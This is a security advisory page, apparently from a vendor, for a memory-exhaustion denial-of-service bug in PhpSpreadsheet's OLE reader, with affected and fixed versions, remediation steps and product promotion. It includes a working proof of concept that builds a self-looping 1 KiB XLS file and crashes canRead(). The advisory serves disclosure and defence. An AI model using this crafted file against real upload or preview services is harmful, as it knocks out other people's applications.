CVE-2026-59933

CVE-2026-59933 is a high-severity uncontrolled resource consumption vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 4.0.0, <= 5.8.0. It is fixed in 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

  • src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
  • src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
  • src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
    $pos += 4 * $bbs;

    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

  • src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
  • src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
  • src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

  • src/PhpSpreadsheet/Shared/OLERead.php:175-180
  • src/PhpSpreadsheet/Shared/OLERead.php:198-202
  • src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9));     // sector size 512
$set(32, pack("v", 6));     // mini sector size 64
$set(44, pack("l", 1));     // 1 SAT sector
$set(48, pack("l", 0));     // directory first sector 0
$set(56, pack("l", 4096));  // mini stream cutoff
$set(60, pack("l", 0));     // SSAT first sector 0
$set(64, pack("l", 1));     // one SSAT sector
$set(68, pack("l", -2));    // no MSAT extension
$set(72, pack("l", 0));     // no extension sectors
$set(76, pack("l", 0));     // DIFAT says SAT is sector 0
$set(512, pack("l", 0));    // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH

Observed output:

ole_size=1024
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

  • Validate every OLE sector-chain walk with:
    • a visited-sector set to reject cycles;
    • maximum chain length based on file size and sector size;
    • bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
    • rejection of negative sector IDs other than the documented end-of-chain marker.
  • Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
  • Apply the same guarded chain-walk helper to:
    • small-block depot chain construction;
    • small-block stream extraction;
    • big-block stream extraction;
    • readData().
  • Add regression tests with self-looping and out-of-range SAT/SSAT chains.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-59933 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6); upgrading removes the vulnerable code path.

Affected versions

phpoffice/phpspreadsheet (>= 4.0.0, <= 5.8.0) phpoffice/phpspreadsheet (>= 3.3.0, <= 3.10.6) phpoffice/phpspreadsheet (>= 2.2.0, <= 2.4.6) phpoffice/phpspreadsheet (>= 2.0.0, <= 2.1.17) phpoffice/phpspreadsheet (<= 1.30.5)

Security releases

phpoffice/phpspreadsheet → 5.8.1 (composer) phpoffice/phpspreadsheet → 3.10.7 (composer) phpoffice/phpspreadsheet → 2.4.7 (composer) phpoffice/phpspreadsheet → 2.1.18 (composer) phpoffice/phpspreadsheet → 1.30.6 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

phpoffice/phpspreadsheet to 5.8.1 or later; phpoffice/phpspreadsheet to 3.10.7 or later; phpoffice/phpspreadsheet to 2.4.7 or later; phpoffice/phpspreadsheet to 2.1.18 or later; phpoffice/phpspreadsheet to 1.30.6 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-59933? CVE-2026-59933 is a high-severity uncontrolled resource consumption vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 4.0.0, <= 5.8.0. It is fixed in 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-59933? CVE-2026-59933 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of phpoffice/phpspreadsheet are affected by CVE-2026-59933? phpoffice/phpspreadsheet (composer) versions >= 4.0.0, <= 5.8.0 is affected.
  4. Is there a fix for CVE-2026-59933? Yes. CVE-2026-59933 is fixed in 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6. Upgrade to this version or later.
  5. Is CVE-2026-59933 exploitable, and should I be worried? Whether CVE-2026-59933 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-59933 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-59933?
    • Upgrade phpoffice/phpspreadsheet to 5.8.1 or later
    • Upgrade phpoffice/phpspreadsheet to 3.10.7 or later
    • Upgrade phpoffice/phpspreadsheet to 2.4.7 or later
    • Upgrade phpoffice/phpspreadsheet to 2.1.18 or later
    • Upgrade phpoffice/phpspreadsheet to 1.30.6 or later

Other vulnerabilities in phpoffice/phpspreadsheet

Stop the waste.
Protect your environment with Kodem.